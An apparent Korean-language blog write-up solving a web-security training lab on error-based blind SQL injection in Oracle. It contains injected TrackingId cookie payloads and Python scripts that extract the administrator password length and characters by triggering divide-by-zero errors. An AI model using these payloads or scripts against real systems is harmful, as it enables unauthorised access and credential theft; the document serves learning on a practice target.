이번엔 blind sql injection을 해야하는데, sql 문에 에러가 발생하면 어떤 에러 메시지를 출력하는 것 같다. 이전 문제와 비슷하게 풀 수 있겠다. (Oracle은 어렵다.)
To solve the lab, log in as the administarator user.
The database contains a different table called users. with columns called username and password
Hint : This lab uses an Oracle database. For more Information, see the SQL injection cheat sheet.
에러를 유발시키는 Oracle query이다.
SELECT CASE WHEN (YOUR_CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Blind sqli를 진행하는데 쿼리가 어떻게 되어있는 지 몰라서 여러 경우를 테스트해봐야 한다.
우선 user 이름은 administrator이다.
TrackingId에 쿼리를 날려야 한다.
' UNION SELECT password FROM users where username='administrator'--
해당 쿼리를 날렸을 때는 정상적으로 페이지가 로드되었다.
' UNION SELEㅁCT password FROM users where username='administrator'--
이렇게 에러를 발생시키면 어떻게 될까 500Error가 뜬다.
이런 식으로 비밀번호가 일치하는 지를 토대로 blind Sqli를 진행하면 되겠다.
' UNION SELECT CASE WHEN length(password)=1 THEN to_char(1/0) ELSE NULL END FROM users --
이 쿼리를 날리면 어떻게될까? 에러가 생기지 않는다. length(password)가 1이 아니기에 to_char(1/0)이 실행되지 않았기 때문이다. 1/0이 실행되면 에러가 생겨 500 Error가 return된다. 이를 1씩 늘려가며 length(password)를 찾아보자.
import requests
import string
url = 'https://0ada00d20363b41ec3ad625100f600d9.web-security-academy.net/'
def find_len():
pwlen = 1
while True:
print(pwlen)
cookie = {"session" : "QHh5gOxuPDrMSEPrH3Sog8WVKEdokujk", "TrackingId" : "Z8lN7P88HeT7CcSd' UNION SELECT CASE WHEN length(password)="+str(pwlen)+" THEN to_char(1/0) ELSE NULL END FROM users --"}
r = requests.get(url, cookies=cookie)
# print(r.text)
if 'Internal Server Error' in r.text:
return pwlen
else: pwlen += 1
print(find_len())
wow 찾았다. 대박이다....
그렇다면
import requests
import string
url = 'https://0ada00d20363b41ec3ad625100f600d9.web-security-academy.net/'
def find_len():
pwlen = 1
while True:
print(pwlen)
cookie = {"session" : "QHh5gOxuPDrMSEPrH3Sog8WVKEdokujk", "TrackingId" : "Z8lN7P88HeT7CcSd' UNION SELECT CASE WHEN length(password)="+str(pwlen)+" THEN to_char(1/0) ELSE NULL END FROM users --"}
r = requests.get(url, cookies=cookie)
# print(r.text)
if 'Internal Server Error' in r.text:
return pwlen
else: pwlen += 1
alphanumeric=string.ascii_lowercase+string.digits
def find_pw():
pw = ''
for i in range(1, 21):
for j in range(32, 128):
print(chr(j))
query = "Z8lN7P88HeT7CcSd' UNION SELECT CASE WHEN ASCII(SUBSTR(password,"+str(i)+",1))="+str(j)+" THEN to_char(1/0) ELSE NULL END FROM users where username='administrator'--"
cookie = {"session" : "QHh5gOxuPDrMSEPrH3Sog8WVKEdokujk", "TrackingId" : query}
r = requests.get(url, cookies=cookie)
if 'Internal Server Error' in r.text:
pw+=chr(j)
print(pw)
break
return pw
# print(find_len())
print(find_pw())
이렇게 찾아줄 수 있다. Oracle 문법은 신기하다.